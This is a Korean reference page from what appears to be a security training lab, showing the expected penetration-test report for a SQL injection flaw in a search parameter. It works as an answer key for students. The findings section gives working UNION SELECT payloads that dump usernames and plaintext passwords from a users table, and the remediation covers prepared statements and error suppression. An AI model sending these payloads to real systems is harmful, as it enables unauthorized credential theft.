Warning: Undefined variable $dir in /var/www/html/includes/report_guide_infra.php on line 177
보고서 가이드 — ForusSec Lab
W-02

SQL Injection (데이터 추출)

위험도: 상
⚠️ 위험도 근거: UNION 구문으로 DB 전체 데이터 추출 가능
📌 아래 내용이 표준 보고서에 포함되어야 합니다. 자신이 작성한 보고서와 대조하세요.

취약점 개요

📄 표준 내용
검색 기능의 GET 파라미터(q)에 대한 입력값 검증이 미흡하여, UNION SELECT 구문을 이용한 데이터베이스 내 임의 테이블 조회가 가능한 SQL Injection 취약점이 존재함.

발견 내용

📄 표준 내용
[점검 절차]
1단계: 취약 여부 확인
   GET /search.php?q=' → SQL 에러 메시지 출력 확인

2단계: 컬럼 수 파악
   GET /search.php?q=' ORDER BY 6-- → 정상
   GET /search.php?q=' ORDER BY 7-- → 에러 (컬럼 수=6)

3단계: UNION SELECT로 데이터 추출
   GET /search.php?q=' UNION SELECT 1,username,password,email,role,created_at FROM users--

[결과]
   users 테이블의 계정 정보(username, password 평문) 전체 조회 성공

조치 방안

📄 표준 내용
[즉시 조치]
Prepared Statement 적용:
  취약: $sql = "SELECT * FROM products WHERE name LIKE '%$keyword%'";
  조치: $stmt = $db->prepare("SELECT * FROM products WHERE name LIKE ?");
        $stmt->execute(['%' . $keyword . '%']);

[추가 조치]
- 에러 메시지 사용자 노출 차단
- 실행 쿼리 화면 노출 제거
- WAF 적용